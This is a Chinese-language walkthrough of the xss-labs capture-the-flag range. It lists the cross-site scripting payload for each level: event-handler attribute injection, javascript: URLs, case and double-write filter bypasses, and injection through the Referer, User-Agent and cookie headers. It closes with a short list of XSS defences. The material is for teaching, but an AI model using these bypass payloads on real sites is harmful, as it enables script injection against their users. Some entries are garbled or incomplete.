xss-labs也是非常适合新手练习的靶场,本期为大家带来靶场通关教程以及介绍一下xss漏洞的防御方式和好用的xss工具。
在线靶场:http://test.ctf8.com
XSS自动化工具:xsstrike
项目地址:https://github.com/s0md3v/XSStrike
没有做任何限制,直接输入xss语句
标签被闭合
">
<>号都被实体化了
因为html前端代码中;使用标点符号时要空一格
' onclick=alert('test') '
和第三关差不多,只是双引号闭合
" onclick=alert('test') "
提示:javascript伪协议
通过构造href属性来绕过
">点击<"
过滤了href,尝试大小写绕过
" Onclick=alert('test') "
双写绕过
" OOnnclick=alert('test') "
html实体编码绕过
javascript:alert('test')
编码之后
javascript:alert('test')
这关属实不合理
提示:检测关键字存在
http:// 必须有不然会报错链接不合法(HTML编码)
javascript:alert('test')/* http:// */
提示:隐藏信息
通过构造参数响应发现只有t_sort里面的值被改变了,因此我们可以从该标签进行突破;
尝试能不能注入恶意代码进行弹窗,利用$t_sort参数
&t_sort=" type="text" onclick="alert('xss')
提示:Referer信息
通关抓包看到缺少referer头
将如下代码加入到referer头中
referer: "type="test" onclick="alert('test')
注入点在user-agent
user-agent: "type="text" onclick="alert('test')
注入点在cookies,用bp抓包将代码写在cookie处即可
"type="text" onclick="alert('test')
第十四关由于网站已经不能访问了,所以就不演示了
这一关看到src可以猜想是个文件包含的题目
可以随便包涵之前的一关并对其传参,以达到弹窗的效果
?src='/level1.php?name='
由于环境原因就没截图了,后面几个关卡我就只放payload了。
这里过滤了很多标签和一些常见方法
回车代替空格绕过检测
?keyword=
环境有问题,跳过了
?arg02= onclick=alert()
看的其他师傅的代码
?arg02= onmousedown=alert()
?arg01=version&arg02=here
?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123
1、xss过滤函数需过滤<>等字符
2、xss过滤函数需过滤javascript等关键字
3、xss过滤函数需过滤\等字符
4、xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字
5、避免使用eval、new Function等执行字符串的方法,除非确认字符串和用户输入无关
6、使用cookies的httpOnly属性,加上了这个属性的cookies字段,js是无法进行读写的
7、html实体化编码